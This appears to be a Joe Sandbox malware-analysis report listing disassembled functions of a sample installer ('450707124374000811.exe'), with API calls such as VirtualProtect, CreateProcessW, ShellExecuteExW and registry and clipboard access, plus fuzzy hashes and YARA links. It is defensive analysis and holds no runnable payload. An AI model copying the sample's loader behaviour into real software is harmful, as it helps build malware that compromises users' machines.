Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 7739e01b11ed9e02f3c754170f73e593db9a2046c62570b976e55369a775b70d
Instruction ID: e221de633d5b74da9fce23a9c995dc3304d5126a795d503f9c3389b6b2e666c2
Opcode Fuzzy Hash: 7739e01b11ed9e02f3c754170f73e593db9a2046c62570b976e55369a775b70d
Instruction Fuzzy Hash: 4DE0EC3221025AABDF10AF95DC00EEB7B6CEB05360F044436FA65E7150D631EA619BF8

Function 100027C2 Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(1000405C,00000004,00000040,1000404C), ref: 100027E0

Memory Dump Source

Source File: 00000000.00000002.2482263763.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2482210897.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2482282589.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2482380281.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_450707124374000811.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
Instruction ID: 43a77b614ff4017466e57d7f63f0e44ab05d53355a3bca00642047650885b550
Opcode Fuzzy Hash: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
Instruction Fuzzy Hash: C5F0A5F15057A0DEF350DF688C847063BE4E3583C4B03852AE368F6269EB344454DF19

Function 00402348 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

GetPrivateProfileStringW.KERNEL32(00000000,?,?,?,000003FF,00000000), ref: 00402379

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: c6a8cbcbc31f6e602369a5318af1bf20fc7f19c6dcae62e72b5fc0541244e301
Instruction ID: 69d349e7d285c822079f9e4bf846872a9f1ef35916f06b7134f04da07b3971da
Opcode Fuzzy Hash: c6a8cbcbc31f6e602369a5318af1bf20fc7f19c6dcae62e72b5fc0541244e301
Instruction Fuzzy Hash: 25E0487080420CAADB106FA1CE099BE7A64AF00340F104439F5907B0D1E6FC84415745

Function 004060EF Relevance: 1.5, APIs: 1, Instructions: 19registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,00000000,00000000,?,?,0042C228,?,?,0040617D,0042C228,00000000,?,?,Call,?), ref: 00406113

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: a8e94fdf895113144ef30ac0413fc9f69bed743b5e5124c6f76e238eb3875bc5
Instruction ID: 3f4f51c5761301f24834a255f16e5381e59d2a113ab40b24d84d285923e9a67b
Opcode Fuzzy Hash: a8e94fdf895113144ef30ac0413fc9f69bed743b5e5124c6f76e238eb3875bc5
Instruction Fuzzy Hash: 47D0173604020DBBEF119F90ED01FAB3B6DAB08314F014826FE16A80A2D776D530AB68

Function 0040424C Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,00404077), ref: 0040425A

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: c67af3d44b601b412ad7c6a67ff551ecd195e7fe17a35a24dfb0ddc2ffe3d870
Instruction ID: 35ea918b965a0e533a09ef3704f79fc1997eb74e27ad0e26ff3c84f6d98ddf78
Opcode Fuzzy Hash: c67af3d44b601b412ad7c6a67ff551ecd195e7fe17a35a24dfb0ddc2ffe3d870
Instruction Fuzzy Hash: ACB0923A180600AADE118B40DE4AF857A62F7A4701F018138B240640B0CAB200E0DB48

Function 0040332B Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,00000000,00000000,00403088,?,?,00000006,00000008,0000000A), ref: 00403339

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: d5a77a7b91dde00220c09aa0a832f43c90240fc94845358d4caa889c1b96a79f
Instruction ID: c7266a3154837caca095f11e7777f6dda2278cbf6cff4ee7664d3894fc3aa091
Opcode Fuzzy Hash: d5a77a7b91dde00220c09aa0a832f43c90240fc94845358d4caa889c1b96a79f
Instruction Fuzzy Hash: ECB01271240300BFDA214F00DF09F057B21AB90700F10C034B348380F086711035EB0D

Function 004058AA Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(?), ref: 004058B9

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: ExecuteShell
String ID:
API String ID: 587946157-0
Opcode ID: 635164c3b06ed96bf07ad63cc2cf624e21a1ddaff933affe27173adac056c9f0
Instruction ID: 322818d701d9cc3fc85427ca8463de8bac6637280c84b784c1803e53dd53602d
Opcode Fuzzy Hash: 635164c3b06ed96bf07ad63cc2cf624e21a1ddaff933affe27173adac056c9f0
Instruction Fuzzy Hash: 55C092B2000200DFE301CF90CB08F067BF8AF59306F028058E1849A160C7788800CB69

Function 00401F00 Relevance: 1.3, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 004052E6: lstrlenW.KERNEL32(0042C228,00000000,0041D800,74DF23A0,?,?,?,?,?,?,?,?,?,0040325E,00000000,?), ref: 0040531E
Part of subcall function 004052E6: lstrlenW.KERNEL32(0040325E,0042C228,00000000,0041D800,74DF23A0,?,?,?,?,?,?,?,?,?,0040325E,00000000), ref: 0040532E
Part of subcall function 004052E6: lstrcatW.KERNEL32(0042C228,0040325E,0040325E,0042C228,00000000,0041D800,74DF23A0), ref: 00405341
Part of subcall function 004052E6: SetWindowTextW.USER32(0042C228,0042C228), ref: 00405353
Part of subcall function 004052E6: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405379
Part of subcall function 004052E6: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405393
Part of subcall function 004052E6: SendMessageW.USER32(?,00001013,?,00000000), ref: 004053A1

Part of subcall function 00405867: CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00430250,Error launching installer), ref: 00405890
Part of subcall function 00405867: CloseHandle.KERNEL32(?), ref: 0040589D

CloseHandle.KERNEL32(?,?,?,?,?,?), ref: 00401F47

Part of subcall function 0040670D: WaitForSingleObject.KERNEL32(?,00000064), ref: 0040671E
Part of subcall function 0040670D: GetExitCodeProcess.KERNEL32(?,?), ref: 00406740

Part of subcall function 004061C9: wsprintfW.USER32 ref: 004061D6

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: MessageSend$CloseHandleProcesslstrlen$CodeCreateExitObjectSingleTextWaitWindowlstrcatwsprintf
String ID:
API String ID: 2972824698-0
Opcode ID: a0367c61fa75c7fa1ed8603c7bcbb816b6d25ff725675df51efd44c1739e69f8
Instruction ID: 0c3abe8747980e4b1c062509ec269ea7acbc1ace6387f940061889d1bd78c20b
Opcode Fuzzy Hash: a0367c61fa75c7fa1ed8603c7bcbb816b6d25ff725675df51efd44c1739e69f8
Instruction Fuzzy Hash: F5F09032905115DBCB20FFA19D848DE62A49F01368B25057FF102F61D1C77C0E459AAE

Function 1000121B Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNELBASE(00000040,?,1000123B,?,100012DF,00000019,100011BE,-000000A0), ref: 10001225

Memory Dump Source

Source File: 00000000.00000002.2482263763.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2482210897.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2482282589.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2482380281.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_450707124374000811.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 9c514497dbeefca74e47a404b0d43d99d31e609484f565d326becb97793310f2
Instruction ID: 8a0ecea123cfc10dc9c303f5c75fb6a011d4279a03f0c54a853e6fb6a4ccb70c
Opcode Fuzzy Hash: 9c514497dbeefca74e47a404b0d43d99d31e609484f565d326becb97793310f2
Instruction Fuzzy Hash: E3B012B0A00010DFFE00CB64CC8AF363358D740340F018000F701D0158C53088108638

Non-executed Functions

Function 00405425 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 00405483
GetDlgItem.USER32(?,000003EE), ref: 00405492
GetClientRect.USER32(?,?), ref: 004054CF
GetSystemMetrics.USER32(00000002), ref: 004054D6
SendMessageW.USER32(?,00001061,00000000,?), ref: 004054F7
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 00405508
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 0040551B
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 00405529
SendMessageW.USER32(?,00001024,00000000,?), ref: 0040553C
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040555E
ShowWindow.USER32(?,00000008), ref: 00405572
GetDlgItem.USER32(?,000003EC), ref: 00405593
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 004055A3
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004055BC
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 004055C8
GetDlgItem.USER32(?,000003F8), ref: 004054A1

Part of subcall function 0040424C: SendMessageW.USER32(00000028,?,00000001,00404077), ref: 0040425A

GetDlgItem.USER32(?,000003EC), ref: 004055E5
CreateThread.KERNEL32(00000000,00000000,Function_000053B9,00000000), ref: 004055F3
CloseHandle.KERNEL32(00000000), ref: 004055FA
ShowWindow.USER32(00000000), ref: 0040561E
ShowWindow.USER32(?,00000008), ref: 00405623
ShowWindow.USER32(00000008), ref: 0040566D
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004056A1
CreatePopupMenu.USER32 ref: 004056B2
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 004056C6
GetWindowRect.USER32(?,?), ref: 004056E6
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004056FF
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405737
OpenClipboard.USER32(00000000), ref: 00405747
EmptyClipboard.USER32 ref: 0040574D
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405759
GlobalLock.KERNEL32(00000000), ref: 00405763
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405777
GlobalUnlock.KERNEL32(00000000), ref: 00405797
SetClipboardData.USER32(0000000D,00000000), ref: 004057A2
CloseClipboard.USER32 ref: 004057A8

Strings

{, xrefs: 0040568B

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: 008adb25098ef1b1bb6e7edf5b259777504a6f11eb67abc6bb5002a761aaad34
Instruction ID: 2f82927f57e7d4f45bca6e23eab998b55dded590160266c2ba262d9988700e91
Opcode Fuzzy Hash: 008adb25098ef1b1bb6e7edf5b259777504a6f11eb67abc6bb5002a761aaad34
Instruction Fuzzy Hash: 37B16970800608BFDB119FA0DD89AAE7B79FB48355F00403AFA45B61A0CB759E51DF68

Function 004046E6 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404735
SetWindowTextW.USER32(00000000,?), ref: 0040475F
SHBrowseForFolderW.SHELL32(?), ref: 00404810
CoTaskMemFree.OLE32(00000000), ref: 0040481B
lstrcmpiW.KERNEL32(Call,0042D248,00000000,?,?), ref: 0040484D
lstrcatW.KERNEL32(?,Call), ref: 00404859
SetDlgItemTextW.USER32(?,000003FB,?), ref: 0040486B

Part of subcall function 004058C8: GetDlgItemTextW.USER32(?,?,00000400,004048A2), ref: 004058DB

Part of subcall function 00406516: CharNextW.USER32(?,*?|<>/":,00000000,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\450707124374000811.exe",0040334E,C:\Users\user\AppData\Local\Temp\,74DF3420,004035BF,?,00000006,00000008,0000000A), ref: 00406579
Part of subcall function 00406516: CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 00406588
Part of subcall function 00406516: CharNextW.USER32(?,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\450707124374000811.exe",0040334E,C:\Users\user\AppData\Local\Temp\,74DF3420,004035BF,?,00000006,00000008,0000000A), ref: 0040658D
Part of subcall function 00406516: CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\450707124374000811.exe",0040334E,C:\Users\user\AppData\Local\Temp\,74DF3420,004035BF,?,00000006,00000008,0000000A), ref: 004065A0

GetDiskFreeSpaceW.KERNEL32(0042B218,?,?,0000040F,?,0042B218,0042B218,?,00000001,0042B218,?,?,000003FB,?), ref: 0040492E
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404949

Part of subcall function 00404AA2: lstrlenW.KERNEL32(0042D248,0042D248,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404B43
Part of subcall function 00404AA2: wsprintfW.USER32 ref: 00404B4C
Part of subcall function 00404AA2: SetDlgItemTextW.USER32(?,0042D248), ref: 00404B5F

Strings

Call, xrefs: 00404847, 0040484C, 00404857
C:\Users\user\AppData\Roaming\pechay\transskribere\jon, xrefs: 00404836
A, xrefs: 00404809

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A$C:\Users\user\AppData\Roaming\pechay\transskribere\jon$Call
API String ID: 2624150263-251418098
Opcode ID: 2bf24cd5b38970458feb5e26e62e94a42910e0745c64cb7450705bda54c983ff
Instruction ID: b9cd804fa769b9c0a994065299bacf789a546679ae48146ccc486c737bfd155f
Opcode Fuzzy Hash: 2bf24cd5b38970458feb5e26e62e94a42910e0745c64cb7450705bda54c983ff
Instruction Fuzzy Hash: CBA175F1A00209ABDB11AFA5CD41AAFB7B8EF84354F10847BF601B62D1D77C99418B6D

Function 10001B18 Relevance: 20.0, APIs: 13, Instructions: 544stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 1000121B: GlobalAlloc.KERNELBASE(00000040,?,1000123B,?,100012DF,00000019,100011BE,-000000A0), ref: 10001225

GlobalAlloc.KERNEL32(00000040,00001CA4), ref: 10001C24
lstrcpyW.KERNEL32(00000008,?), ref: 10001C6C
lstrcpyW.KERNEL32(00000808,?), ref: 10001C76
GlobalFree.KERNEL32(00000000), ref: 10001C89
GlobalFree.KERNEL32(?), ref: 10001D83
GlobalFree.KERNEL32(?), ref: 10001D88
GlobalFree.KERNEL32(?), ref: 10001D8D
GlobalFree.KERNEL32(00000000), ref: 10001F38
lstrcpyW.KERNEL32(?,?), ref: 1000209C

Memory Dump Source

Source File: 00000000.00000002.2482263763.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2482210897.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2482282589.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2482380281.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_450707124374000811.jbxd

Similarity

API ID: Global$Free$lstrcpy$Alloc
String ID:
API String ID: 4227406936-0
Opcode ID: 5a24c136153c29b9d98a91a4f463aeb2504b823c6cdae7135cdbbdb8769d9cc1
Instruction ID: 952ca616c20dc2fa21031af5d26a5f3ec91fa4f9dea92b18a1e2b318678e368b
Opcode Fuzzy Hash: 5a24c136153c29b9d98a91a4f463aeb2504b823c6cdae7135cdbbdb8769d9cc1
Instruction Fuzzy Hash: 10129C75D0064AEFEB20CFA4C8806EEB7F4FB083D4F61452AE565E7198D774AA80DB50

Function 004020FE Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 129comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004085E8,?,00000001,004085D8,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 0040217D

Strings

C:\Users\user\AppData\Roaming\pechay\transskribere\jon, xrefs: 004021BD

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Users\user\AppData\Roaming\pechay\transskribere\jon
API String ID: 542301482-410581097
Opcode ID: a3079df28c9350d7309c2a19df5477558aa8a9c325ce021c01e80fddd7990195
Instruction ID: 2ba5a37aa1c239f751097cd18d9f1051e5d6a8806e2346af1523e8cbd5355f1b
Opcode Fuzzy Hash: a3079df28c9350d7309c2a19df5477558aa8a9c325ce021c01e80fddd7990195
Instruction Fuzzy Hash: 504139B5A00208AFCB10DFE4C988AAEBBB5FF48314F20457AF515EB2D1DB799941CB44

Function 004072B4 Relevance: 2.8, Strings: 2, Instructions: 300COMMON

Download Yara Rule

Strings

p!C, xrefs: 004074E8
p!C, xrefs: 00407404, 00407426, 004074D6, 004074A8, 0040742B

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID:
String ID: p!C$p!C
API String ID: 0-3125587631
Opcode ID: b391703ce6aa9d184f83615265780e2503839b4fa6daee6685a5ac04655da8ea
Instruction ID: ef217add9e462a39eaf01b2cd615f348b30b4b8a27c4232395f9688b09cd85c2
Opcode Fuzzy Hash: b391703ce6aa9d184f83615265780e2503839b4fa6daee6685a5ac04655da8ea
Instruction Fuzzy Hash: 33C15831E04219DBDF18CF68C8905EEBBB2BF88314F25826AD85677380D734A942CF95

Function 00402862 Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 00402871

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
